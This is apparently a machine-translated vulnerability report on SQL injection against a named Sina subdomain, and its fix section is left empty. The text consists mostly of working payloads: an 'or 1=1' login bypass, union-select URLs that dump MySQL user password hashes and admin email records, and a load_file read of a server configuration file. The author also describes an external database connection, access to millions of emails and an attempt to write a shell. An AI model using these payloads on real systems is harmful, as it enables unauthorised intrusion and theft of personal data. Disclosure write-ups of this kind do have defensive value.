SQL Injection in the background of Sina subdomain names

Log on to the backend directly using admin' or 1 = 1 # Find the injection point MYSQL external connection
Description: Target station http://bes.sina.net
In the background, I still need the account and password .. Joke
Admin 'or 1 = 1 #
The password is randomly written as 123456 and is successfully logged on.
 
OK
Point to find a injection point http://bes.sina.net/content_detail.php? Content_id = 199
After
Http://bes.sina.net/content_detail.php? Content_id = 199 and 1 = 2 union all selEct group_concat (DISTINCT + user, 0x3a, password, 0x3a, file_priv, 0x3a, host), 6 from + mysql. user --
 
Yaoya: * B30D63E3C0BEE74D8A017AD371EB8810F01093CC: Y: %
MYSQL external connection is supported.
Cracked MD5
Madwolf
Connected successfully
 
There are still a lot of databases
Http://bes.sina.net/content_detail.php? Content_id = 199% 20aNd % 201 = 2% 20 unIon % 20all % 20 selEct % 20 concat % 280x3a, email, 0x3a, city, 0x3a, login_time, province, ad_login_num, reg_time % 29,2, 3, 4, 5, 6% 20 from % 20rmail. ad_admin65 % 20 limit % 20268994,1% 23
20 million emails .. Unfortunately, no password
Other databases do not explain
Failed to write a sentence .. It seems that the directory has no permission.
Read the configuration.
Select load_file ('/data0/apache/conf/extra/httpd-vhosts.conf ')
 
 
 
..
Certification + gift ..
 
 
Proof of vulnerability:

Http://bes.sina.net/content_detail.php? Content_id = 199 and 1 = 2 union all selEct group_concat (DISTINCT + user, 0x3a, password, 0x3a, file_priv, 0x3a, host), 6 from + mysql. user --
 
Solution:

How to fix it

Author: grey Wolf